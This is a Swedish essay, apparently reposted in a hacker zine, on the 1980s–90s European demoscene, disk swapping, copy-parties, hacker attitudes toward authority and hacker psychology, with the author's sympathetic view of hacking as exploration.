tonåriga europeiska hackare skapade en amatörbaserad och vacker konstform som MIT och Stanford aldrig sett maken till. _Konstformen Demo_ Ett demo är lite svårt att karakterisera. Egentligen skall det upplevas. Redan de första hackarna på MIT gjorde runt 1961 enkla demon på datorn PDP-1 i form av små matematiska mönster som ritades upp på en enkel bildskärm, något som kallades *Tri-pos* eller *Minskytronmönster* efter professorn med samma namn. De var vackra, med hade inget praktiskt användningsområde. Sinuskurvor, rullande text och rörliga grafikblock tillsammans med musik utgjorde de första demona på hemdatorer. Efterhand har det hela blivit mer och mer likt film eller företagsdemonstrationer, något man kallar *trackmo* (sv ung: *spårdemo*) och som kommer sig av att man kontinuerligt måste ladda in nya data från en diskett för att hålla demot igång. En diskett är nämligen indelad i *tracks*, alltså spår. Alltsedan MIT har demoprogrammerare haft en passion för att väva in matematiska bildmönster i sina skapelser. Ungefär samtidigt som demona uppstod började den nya kulturyttringen att sprida sig från C64 till andra datorer, först _Atari ST_ (1984) med grupper som _TCB _(The Care Bears) och _Omega_ och senare _Commodore Amiga_ (1986) där bland annat _Defjam, Top Swap, Northstar_ och _TCC / Red Sector_ eller senare _Skid Row_ och _Paradox_* *blev särskilt namnbekanta. Först 1988-89 började demon dyka upp även på _IBM PC_ från bland annat de svenska pionjärerna _TDT_ (The Dream Team) och _Space Pigs_. (Macintosh har mig veterligt aldrig närt någon demoverksamhet, men det kan komma att ändras i och med att denna blivit mera "hemdator".) Utbytet av spel, intron och demon var helt beroende av ett nätverk av brevförsändelser och ett antal BBS:er och personer som ringde transnationellt och transkontinentalt och förmedlade programmen. Demogrupperna hade inte råd att koppla in sig på Internet under åttiotalet, bara någon enstaka hackare som gick på högskola hade den möjligheten, och merparten av dessa Commodore-hackare var i gymnasial ålder. De hackare som gick på högkolan var oftast "gammel-hackare" som tyckte att minidatorer var det häftigaste som fanns och struntade blankt i hemdatorerna. Eftersom ett dataprogram kopieras i flera led erbjuder dessa utmärkta möjligheter till spridning av namn och adress för ytterligare utökning av bytesmarknaden. Ganska snart skaffade sig de tidiga hackargrupperna medlemmar som hade till enda uppgift att kopiera och byta spel och demon med likasinnade, främst för att sprida den egna gruppens alster. De kallades *swappers* (sv: bytare, uttalas "swopper") och en flitig swapper kunde ha runt hundratalet kontakter. Eftersom det inte var särskilt billigt att skicka flera dussintal brev i månaden var det många som, till postverkets stora förtret, började spreja fixativ på frimärkena så att de skulle "hålla längre". Renodlade bytare upptäckte snart att man kunde byta andra saker än disketter och det utvecklades två nya subkulturer: *film-swappers* och *tape-swappers*. De förra bytte videofilmer av allehanda karaktär, företrädelsevis filmer som var totalförbjudna av statens biografnämnd eller på annat sätt var spännande. En *tape-swapper* bytte musikkassetter. Diskettbyten mellan hackare har betytt otroligt mycket som kontaktyta för dessa subkulturer. Man skriver heller aldrig *disk-swapper*, eftersom ordets ursprungliga betydelse innebär att man byter just disketter. Speciellt filmbytare hänger naturligt ihop med datorkulturen eftersom videons genombrott sammanföll med hemdatorboomen under mitten av 80-talet. Ofta byter en bytare både disketter, filmer, kassettband och vad man nu kan få för sig att byta. Skillnaden mellan en bytare och en vanlig brevväxlare är att själva bytesobjektet, disketten, kommer före allt annat. Orkar man inte skriva något brev så skickar man helt enkelt bara en diskett märkt med sitt eget namn, så att mottagaren vet vem som skickat den. Diskettbytandet är dock en företeelse som hör samman med 80-talets europeiska hemdatorhackare. På 90-talets IBM PC är det relativt ovanligt - det normala nu är att man hämtar hem de program man vill ha från en BBS eller rent av från Internet. Man har gått från *swapping* till *trading*, dvs från disketter till modem. Från början bestod hackargrupper bara av just programmerare och bytare, eller personer som var kombinationer av båda. De framgångsrikaste hackargrupperna av det här slaget har alltid varit de som haft geografisk närhet mellan medlemmarna, så att man kunnat byta idéer och erfarenheter utan dyra och krångliga telefonförbindelser. Efter ett tag uppstod behov av mer specialiserade hackare; kategorierna *musiker, grafiker,* de tidigare nämnda* knäckarna *och *kodare *(eng: *coder*) uppstod. Skillnaden mellan knäckare och kodare var att knäckare specialiserade sig på att förstöra kopieringsskydd (dvs modifiera befintliga program) medan kodare ägnade sig åt ren programmering. Att förstöra kopieringsskydd är i sig inte förbjudet. (En produkt som du köpt har du faktiskt rätt att göra vad du vill med.) Att däremot sprida det "knäckta" programmet vind för våg, vilket bytarna ofta gjorde, är högst illegalt. (Jag bör kanske poängtera att långt ifrån alla bytare bytte copyrightskyddade program, många höll sig till demos.) Nu har vi dock åter liknelsen med att kopiera musik CD-skivor, något som är lika illegalt. Ingen normalt funtad polisiär myndighet skulle få för sig att ingripa mot en hobbyhackare som kopierade program av sina kamrater, så länge detta inte är affärsmässigt. Detta visste inte knäckarna och bytarna, viket gjorde det hela mycket spännande och "förbjudet". (Minns att en medelhackare var i gymnasial ålder och att det i den åldern är viktigt att trotsa samhället.) I USA fanns det ytterligare en kategori hackare som kallades *fixers* (sv: *fixare*). Dessa anpassade program avsedda för europeiska PAL TV-system till den nordamerikanska TV-standarden NTSC, en grupp som inte finns bland PC-hackarna eftersom alla PC-maskiner har egna system för bildskärmar istället för att utnyttja TV-apparater. En del grupper hade också *suppliers* (sv: *tillhandahållare*) som skaffade fram originalprogram som knäckarna kunde ta bort kopieringsskydden från. Det var inte helt ovanligt att dessa arbetade på datorbutiker eller rent av hos programtillverkare. Av sociala skäl uppstod redan runt 1984 sk *copy-partyn *(kopieringspartaj) där flera hackare från olika grupper samlades på någon ort för att umgås och byta erfarenheter. Möjligen inspirerades man av publiciteten kring The Whole Earth Catalogs första hackarkonferens samma år. Företeelsen påminner om rollspelskonvent eller t ex bokmässan i Göteborg såtillvida att det är en ganska smal intressegrupp som träffas, med den skillnaden att det hela är ganska tumultartat och uppsluppet, mer som ett party än en vanlig mässa. Benämningen *copy-party* kommer av det faktum att det kopierades en hel del på dessa partyn, både legalt och illegalt. På senare tid har man ofta dämpat benämningen lite grand och kallar det hela för *demo-party* eller bara *party*. En berömd serie reguljära copy-partyn hölls under 80-talet i den lilla holländska staden _Venlo_. *The Party* (med stort P) är förmodligen Europas (eller rent av världens) största och mest välbesökta kopieringspartaj. Det hålls reguljärt i mellandagarna 27-30 december varje år sedan 1991 i Herning messecenter, Danmark, och drog närmare 2000 personer 1994. Inte ens hackare kan hålla sams: stridigheter mellan grupper och personer urartade ofta i regelrätta "gängkrig" som mest handlade om psykologisk krigföring. Målet var då att försöka frysa ute en grupp eller en person genom att vägra byta disketter, och samtidigt uppmana alla sina vänner att göra det samma. På så vis kunde en person eller en grupp "kastas ut" ur gemenskapen. För att uppnå detta spred man långa textfiler med spetsade sanningar eller rena osanningar, varpå den angripne svarade med samma mynt. Krigen ledde i princip aldrig till någonting, och handgemäng på copypartyn var ytterst sällsynt. Att föra psykologiskt gängkrig mot andra hackare får väl betraktas som ganska harmlöst, även om de inblandade ofta var helhjärtat engagerade i kriget. Man får anta att dessa schismer lärde tonåriga hackare en *hel del* om vad krig egentligen går ut på: det blossar upp ett tag, och sedan går det över, och sedan blossar det upp igen någon annanstans. Några lämnar Scenen (eller *dör* i ett verkligt krig) men de flesta stannar kvar, och en annan dag uppstår ett annat gräl. Jag kan passa på att nämna att bland phreakarna gick krigen över mycket snabbare: man polisanmälde helt enkelt den man hatade. Det var det enda sättet att praktiskt ingripa i en phreakares liv. Hos phreakarna såväl som hos hemdatorhackarna dominerade dock vänskapen. I och med krigen mellan hackargrupper flyttades ännu ett stycke mänskligt beteende över till telerymden. Abstraktionen med krig som ett avancerat schackspel i form av schismer på Scenen, såväl som i olika rollspel eller handgripligen som i filmen *War Games* har gjort mången hackare cynisk i förhållande till den mäskliga naturen. De som är (och var) aktiva på Scenen är det för att de har ett annat förhållande till datorer än någon tidigare generation har haft. Där en annan människa bara ser en burk, en maskin med bildskärm och tangentbord, ser hobbyhackaren en hel värld med sina egna sociala regler och dolda hemligheter. Det är dessa dolda hemligheter som lockar, drar, och får hackaren att glömma allt utom hackandet. Sökandet efter mer kunskap accelererar sedan för att nå en topp av intensiv kreativitet. Man producerar då ett demo på ett par veckor eller knäcker ett spel om dagen. Alla sociala kontakter utanför datorn och de som använder den blir oviktiga. De flesta når sedan en gräns när de tröttnar på Scenen och den eviga jakten på nytt, större och bättre. Man *quittar* dvs slutar, helt enkelt. En hackare som jag känner väl sade en gång: *"Det ända riktiga sättet att quitta, är att släpa ut datorn till ett träsk och kasta ned den där"*, något som får illustrera den leda ett alltför intensivt scenliv kan leda till. Andra tar det mera måttligt med hackandet och lever ett någotsånär normalt socialt liv vid sidan av. Det är de som stannar längst på Scenen. (Själv har jag varit där sedan 1986 och är alltjämt kvar, om än något sporadiskt aktiv.) Scenen säger en del om vad hackarkultur egentligen är: ett tak att samlas under. Det handlar om utforskande av datorer, datasystem och nätverk, men också om att utforska hur samhället fungerar och skapa något nytt och eget genom att göra experiment med subkulturer. Det är därför hackare tar sig in i nätverk som de inte får vara i, det är därför de sprejar fixativ på frimärken och struntar i allt vad copyright heter. De vill utforska och se hur saker och ting fungerar. De vill, kanske omedvetet, lära sig inför framtiden. Det handlar om utforskande och inte kallblodig stöld. Hackarna är inga egocentriska brottslingar med avsikter att förstöra så mycket som möjligt. De är, enligt min mening, bara barn av sin tid. Det här med utforskandet är egentligen det enda som driver vad som kan kallas *riktiga* hackare. Den som gör samma saker med motivet att stjäla eller sabotera är bedragare eller databrottsling, inte hackare. Hur speciell hackarkulturen kring hemdatorerna verkligen är framgår med all önskvärd tydlighet om man läser sociologen _Jörgen Nissens_ fascinerande avhandling *Pojkarna Vid Datorn*. Han intervjuar några av hackarna i grupperna Fairlight och TCB och påpekar hur underligt det ter sig när medlemmarna talar om *marknadsandelar* på Scenen och hur grupperna drivs under närmast företagsliknande former, trots att dessa inte sporras av något ekonomiskt vinstmotiv. Han poängterar också hur hackarna beter sig mer som uttråkade konsumenter än som brottslingar eller klassiska ungdomsgäng; det som _Douglas Coupland_ kallar *Generation X*. Hemdatorgrupperna är typiska för Generation X. De avskyr politiskt korrekta budskap, de driver allt som företag, och de *är* uttråkade av den enorma marknaden. Istället för att konsumera börjar de producera. Istället för att manipulera pengar för att kunna skaffa sig status och åtnjuta beundran, har de skapat en marknad där de byter kreativitet mot beundran utan några materiella mellanled. Inga CD-skivor, promotionturnéer eller marknadsplaner behövs. Bara produkter av ren information i form av demon och knäckta spel som byts mot ren information i form av beundran. Inget annat. De enda av dessa subkulturella hackare som fick någon större medial uppmärksamhet var de som gick över gränsen till nätverkshackarna och phreakarna och åkte fast. Det var delar av kretsen kring demogruppen _Agile_ som 1989 greps av polisen efter att medlemmen _Erik XIV_ (fingerat namn) gått ut i tidningen Z och Aktuellt och berättat hur sårbart kreditkortsväsendet i själva verket var, samtidigt som en annan medlem, _Erlang_ (också fingerat namn), beställde hem videoredigeringsutrustning för en kvarts miljon kronor till sin egen hemadress med hjälp av falska kontokortsnummer. Drivna av sin lätt elitistiska attityd från demokulturen ville de vara ensamma om att kunna behärska tekniken med kontokorten, och testade gränserna för vad som gick att göra med konstruerade koder. När polisen grep Erlang efter att han beställt redigeringsutrustningen började han berätta allt - med en nästan sjuklig detaljrikedom. Phreakare och hackare gör ofta så; det verkar nästan som om de tror att poliserna skall bli imponerade av deras bedrifter. De inblandade dömdes i fallet Agile till villkorliga fängelsestraff, dryga böter och övervakning. Samtliga utom Erlang arbetar idag inom databranchen. (Överraskande?) _Attityder_ De första hackarna på MIT brukade alltid utnyttja alla tekniska resurser de kunde komma åt. Det var inte alltid säkert att "auktoriteten", de lärare och vaktmästare som hade hand om utrustningen, tyckte om detta. De flesta lärare tyckte att undervisningen i datakunskap skulle vara av den klassiskt auktoritära typen, att läraren stod vid katedern och föreläste. Om eleverna skulle få tillgång till datorerna skulle det ske i form av tillrättalagda uppgifter som kunde lämnas in och rättas och betygsättas, inte genom den *learning by doing*, dvs *lärdom genom verkliga erfarenheter*, *lära för livet*, som hackarna praktiserade. De älskade datorerna och kunde inte för sitt liv begripa varför de skulle hållas borta från maskinerna. De smög in till maskinerna på natten och utnyttjade dem utan lärarnas vetskap. Efter att själv ha konfronterats med ett flertal datalärare, och framför allt efter att jag *själv* jobbat som datalärare har jag insett att detta klassiska nyttotänkande är alltför vanligt bland svenska datalärare. Det *går* absolut inte att få någon att tycka att "data är roligt" om man samtidigt påtvingar dem regler för vad de får och inte får göra med datorn. Många datalärare går i taket när de upptäcker att eleverna installerat egna program i datorerna eller programmerat något som de inte fått i uppgift att göra. Vanliga orsaker till detta brukar vara en paranoid rädsla för virus, åsikten att dataspel bara är slöseri med tid etc. En datalärare som vi kan kalla _X_, på mitt gamla gymnasium, skaffade sig ett program som gav ifrån sig ett tjutande alarm så fort någon ändrat i maskinkonfigurationen. (Maskinkonfigurationen är i det här fallet ett par filer med information som används för att ställa in datorn för olika tillbehör.) En utforskande hackare vill givetvis ändra i maskinkonfigurationen, och skolans egna binärgenier brydde sig såklart inte en sekund om att stora anslag med *absolut förbud* mot detta satts upp överallt i datasalen. Till historien hör att läraren undervisade i språk och under inga omständigheter kunde acceptera att "hans" datorer användes till något annat än språk, ordbehandling och andra *auktoriserade* aktiviteter. Några elever som blivit ertappade med en "tjutande" dator blev på det viset avstängda från den språkvetenskapliga datasalen. De allra skickligaste eleverna visste hur man skulle bete sig för att gå runt säkerhetssystemet, och fick alltså vara kvar i datasalen, trots att de ändrat i maskinkonfigurationen ett flertal gånger. Dessa elever, som ägde en smula av den äkta hackarmentalitet som innnebär att man inte accepterar monopol på kunskap eller datakraft, tillverkade ett litet roligt program, som *förutom* att det fullkomligt gick runt X:s lilla säkerhetssystem *dessutom* slumpmässigt slängde upp en *requester*, ett litet fönster med text där det stod: *X ÄR EN KNÖL.* Under denna text fanns knappen _OK_ som man måste trycka på för att komma vidare. Programmet var ett klassiskt *hack*: det gjorde ingen nytta, men heller ingen direkt skada, och det kunde betraktas som roligt. De första hackarna på MIT skulle alldeles säkert ha uppskattat detta roliga skämt. (Själv tycker jag att det är utsökt!) Det var stört omöjligt för läraren i fråga att hitta och ta bort programmet. Det slutade med att han fick formatera om datorernas hårddiskar och lägga in all programvara på nytt. Att krypa till korset och be de hackande eleverna att själva ta bort programmet, eller att rent av *be om ursäkt* föresvävade honom aldrig. Om han gjorde det skulle han ju förutom att erkänna elevernas *rätt* till datorerna, också erkänna sanningen - att vissa av eleverna var bättre orienterade i datakunskap än *han själv*. Faktum kvarstår: dessa elevers föräldrar hade betalt skatt för att deras barn skulle få använda datorer i skolan. Eleverna, liksom hackare i allmänhet, ansåg därför att det naturliga vore att låta eleverna använda datorerna hur mycket de ville, och till vad de ville. (På tid som inte var schemalagd för undevisning alltså.) Denna självklara rätt kallas sedan MIT-hackarnas tid för *hands on-imperativet*. Datalärare förstår sig ofta inte på hackare. Om de nödvändigtvis skall hålla på med datorerna hela tiden, varför kan de då inte göra något som är *nyttigt* och *tillåtet*, t ex lägga upp en avbetalningsplan, skriva en sammanfattning om Afrikas historia eller något dylikt? Attityden verkar vara att eleverna bara skall *använda* maskinerna, inte *utforska* dem och allra minst *hacka dem*. Maskinen skall bara vara ett verktyg, och användaren skall helst veta så lite som möjligt om de processer som försigår bakom skärmen. Hackaren är den som, trots detta, *faktiskt vill veta.* Hackare *vill inte* göra "nyttiga" saker. De vill göra *roliga* saker, som att utforska datorns operativsystem, lägga in egna program och testa olika tekniska finesser. Det är då det blir roligt att använda en dator. Jag har försökt att påtala detta för flera datalärare jag har träffat, tyvärr mestadels utan resultat. Jag anser personligen att detta utforskande är nyttigt, och skulle inte för mitt liv vilja hindra det. Det är det som är grunden till den entusiasm som gör att vissa tycker att "data är så roligt". Om de trots allt skulle lyckas ställa till det med datorn så att den inte fungerar längre, anser jag att det är min uppgift som lärare att se till att få den funktionsduglig igen. Om jag inte klarar av detta är jag inkompetent. Om jag inte har tid med detta är skolan underbemannad. Jag har aldrig haft några större problem med mina elever själv, och har genomgående positiv erfarenhet av de elever jag haft. Faktum är att jag *uppmuntrar* mina elever att utforska operativsystemet *även* om detta inte ingår i kursen. Om de datorer jag ansvarar för blir drabbade av virus eller kraschar, är det snarare mitt problem än elevernas. På MIT 1960 upptäckte man snart de möjligheter som öppnade sig när man lät eleverna jobba fritt med datorerna. Professor Marvin Minsky kunde komma in i datorrummet, ställa ifrån sig en teknisk mackapär och sedan låta eleverna försöka utveckla ett styrprogram till den på egen hand. Detta var inte undervisning - det var forskning på hög nivå, och det var eleverna, hackarna, som utförde den. Hade det inte varit för denna attityd till lärandet, hade datorerna aldrig blivit vad de är idag. Sedan MIT som första datorskola i världen låtit eleverna få obegränsad tillgång till datorerna, spred sig denna nya pedagogik till alla högskolor som bedrev datorforskning. Även de svenska. Ingen högskola med självaktning låser idag ute sina elever från datasalarna. De har ofta egna nycklar eller låskort, och kan komma och gå som de vill. De svenska gymnasie- och högstadieskolorna har mycket att lära av högskolan på det här området. Faktum är att nätverkshackarnas härjningar i universitetens datorer delar de dataansvariga i två läger: ett med folk som blir helt *vansinniga* om de upptäcker att någon hackat deras dator, och ett som bara tycker det är roligt och spännande om någon hackar deras dator. Den senare gruppen är dock inte lika högljudd som den första, vilket gör att bilden utåt är att alla dataansvariga hatar hackare. Detta är långt ifrån sant. Hackaren utforskar. Inte bara enskilda datorer, utan även datasystem, datanätverk, telefonsystemet, eller vad som helst annat som är elektroniskt. De fördömer och ignorerar den auktoritet som vill hindra dem från att utforska. De är inte ute efter att stjäla. Punkt. _Mentalitet_ Vad som driver hackare rent psykiskt är ett känsligt område. MIT:s hackare kunde sitta uppe och arbeta i 30-timmarspass för att sedan kollapsa och sova i 12 timmar, och därefter gå på nästa 30-timmarspass. Hackarna försummar ibland allt utom datorn, inkluderat mat, kroppsvård och vanligt socialt umgänge. Vi tolkar detta som ett osundhetstecken, trots att vi kanske accepterar det bland människor som jobbar i företagsledningar, kommittéer och andra ansvarsfulla yrken. Man skall ha klart för sig att så gott som varenda hackare går igenom en sådan här period av intensiv koncentration någon gång under sin karriär, och det vore förhastat att generellt fördöma ett sådant beteende. Men i vissa fall *är* datorn faktiskt en flykt undan en odräglig tillvaro. En ungdom mellan 14 och 19 år utsätts för många hårda krav från omvärlden. Det krävs av dem att de skall klara sina studier, umgås med sina kamrater och framför allt (mest underförstått) att de skall knyta kontakter med det motsatta könet. Samtidigt skall man inte glömma att hackandet ofta sker i grupp och baseras på en vänskap som går långt bortom datorns begränsade område. (För den oinsatte: *vänskap* är den egenskap som gör att man kan få för sig att låna ut ett rum till någon några dygn, kopiera ett dataprogram, dela med sig av kunskap osv - utan att kräva betalt.) Datorn erbjuder en ovanligt lättillgänglig flykt från uppväxtens krav. Redan tidigare i historien har många unga män (och en del kvinnor) flytt från jobbiga känslor genom att ägna sig helhjärtat åt någon vetenskap, och så totalt gå upp i forskandet att de "glömt bort" sina jobbiga sociala "plikter", med umgänge, äktenskap och allt vad det innebär. Datorer är i vår tid ett mycket outforskat område. Alla som får tillgång till en hemdator hamnar genast i en värld där mycket är okänt och underligt, men samtidigt bundet till en viss logik. En dator skriker efter att få utforskas. På det viset blir datorn nästan till en drog som ersätter en mer "naturlig" drift att undersöka sociala beteendemönster. Utforskandet av datorn blir inte ett substitut, inte en ersättning, för sexuella relationer. Det blir något man ägnar sig åt för att *slippa tänka* på sexuella relationer. Det är därför så många sk "töntar" ägnar sig åt datorer. Samhället har från början gett dem en otacksam roll, och istället för att spela den, flyr de från den. Många hackare är fullt medvetna om detta. Samtidigt ser de det hårda liv med djungelns lag som väntar utanför telerymden, och gör därmed till sist ett medvetet val att antingen ändra på allt eller stanna där de är. En del gamla hackare har med åren utvecklat en enorm bitterhet och cynism pga detta. De fördömer den riktiga världen och är fast beslutna att skapa en värld där de själva får bestämma, fast inne i datorn. De iakttar med spänning de tekniska landvinningarna inom virtuell verklighet och artificiell intelligens, och säger för sig själva att *en dag...* Kunde de gå in i datorn för alltid, skulle de göra det. De hatar redan den värld där de måste se sig bundna till sina fysiska eller sociala handikapp, och där deras lott redan på förhand är att vara förlorare. Den mänskliga könsidentiteten utgörs nämligen av en fysisk såväl som en social bit. Om man saknar den ena eller den andra, är man dömd att vara förlorare. Det händer att hackarna genomskådar detta och istället säger: *"vi vill inte vara med"* och drar sig tillbaka till telerymden. Det finns inget vi kan göra åt detta, annat än att tona ned våra sociala attityder mot avvikare, om ens det hjälper. Kanske är det inte ens önskvärt att hackare anpassas till "normalt" liv. Kanske vill vi ha dem där, så att vi har kontroll över dem och vet var vi har dem, där de matar hjärnan med så mycket praktiska problem att de slipper tänka på sociala svårigheter. De stängs in i en subkultur där det avvikande är normalt. Tillståndet kan i värsta fall övergå i lindrig eller svår *eskapism*, dvs verklighetsflykt. Detta tillstånd brukar kallas *datorsjuka*. Utöver detta kan vi notera att illegala hackare har ett något annorlunda beteendemönster jämfört med de subkulturella, beroende på vilket sätt de kommit in i kulturen. En del phreakare kommer från en värld bestående av heta linjen, radioamatörsällskap etc. Dessa drivs snarare av en vilja att kommunicera än av utforskande genom gruppbildningar och inbördes tävlan. De är ofta betydligt mer arroganta och sysslar med phreakandet helt enkelt därför att de är uttråkade och inte har något annat att göra. (Samma motivationsfaktor som de som ringer *heta linjen* och andra 071-nummer.) De tar absolut inte hackandet på blodigt allvar, utan driver tvärtom gärna med hackare, som de innerst inne tycker är fullständiga töntar. Hackare som hellre sysslar med datorer än telefoni har i allmänhet en starkare gruppkänsla och lojalitet mot gruppen som helhet. En renodlad phreakare av den typ jag just nämnde, kan mycket väl ange sina bästa vänner om hon/han blir upptäckt, medan en hackare inte för sitt liv skulle ange ens sina *fiender*. Såväl nätverkshackare, phreakare, virushackare och en del knäckare lider av hopplöst negativa självbilder. De ser sig själva som elaka, grymma och dominanta värstingar. Man har gått in i en roll där man identifierat sig med förstörelselusta, samhällshat, anarkism och allmänt djävulskap mest för att veta var man hör hemma. Det brukar dock gå över efter ett tag. Har man anammat yippieideal går det *inte* över. De allra farligaste hackarna (om vi ser det hela från samhällets synvinkel) är uteslutande *bittra*. De ser sig som missförstådda och missbedömda av skolsystemet. De tycker att skolan inte lyckats ta vara på deras intelligens och anser sig därför ha rätt att hämnas på samhället som stängt dem ute från en värld av kunskap eftersom de inte uppfört sig på rätt sätt, inte varit försedda med rätt social kod. De har tvingats in på tvååriga gymnasieutbildningar av ett betygssystem som inte klarat av att sortera in dem bland de som verkligen lämpat sig för en högre utbildning. De har dessutom *rätt*, och det gör inte saken bättre. Med hat mot samhället som inte förstått att uppskatta deras kvalitéer kommer de tillbaka med datorer och elektronisk utrustning för att såga i grundvalarna för hela samhällets socioekonomiska system, inte sällan med en näst intill *psykopatisk* förstörelselusta. _Carceres ex Novum_ *Det fanns ett alternativ till det vanliga livet. Jag var trött på allt det vanliga, på att alltid vara sist, aldrig uppmärksammas. Datorn var uppmärksam, den uppmärksammade ingen annan än mig. Jag fann kamrater som jag aldrig behövde träffa ansikte mot ansikte, och så flöt min tonårstid förbi, jag blev en intressant människa.* *När jag började på högskolan kom det jättelika Internet till mitt rum och världen strålade in till mig. Jag hade miljoner människor nära inpå mig utan att någonsin behöva se dem i ansiktet. Jag satt där jämt, enda avbrottet jag behövde var att äta och gå till skolan. Jag träffade ingen, ingen kände mig. Och jag trivdes. Tack vare uppmärksamheten från de anonyma människorna på andra sidan skärmen kände jag mig inte ensam.* *Men tiden rann ut och den verkliga världen kröp inpå mig, och jag visste att jag i och för sig alltid skulle kunna fly, men aldrig skulle jag kunna gömma mig från dem, vars värderingar förvandlade mig till en ensam asocial råtta som tillbringade all sin tid med datorn. Och jag hatade dem."* Visst är en del av det som dessa hackare sysslar med olagligt, och visst är detta fel från samhällets synvinkel. Inte desto mindre är det att grovt undervärdera hackarna om man påstår att de skulle begå dessa handlingar slentrianmässigt, "i brist på annat" eller enbart för egen vinning. Det har varit alldeles för mycket fördömande och alldeles för lite empati i hackardebatten. Nu över till något helt annat. //Linus Walleij .----------------------------------------------------------------------------. Phreak 020 - Http://come.to/phreak020 - Joina Mailinglistan! #Phreak020 på DALnet och EFnet //Celsius Artiklar sändes till celsius@mindless.com Tack Till VSU, VSP, KBB och 020 för inspiration! '----------------------------------------------------------------------------'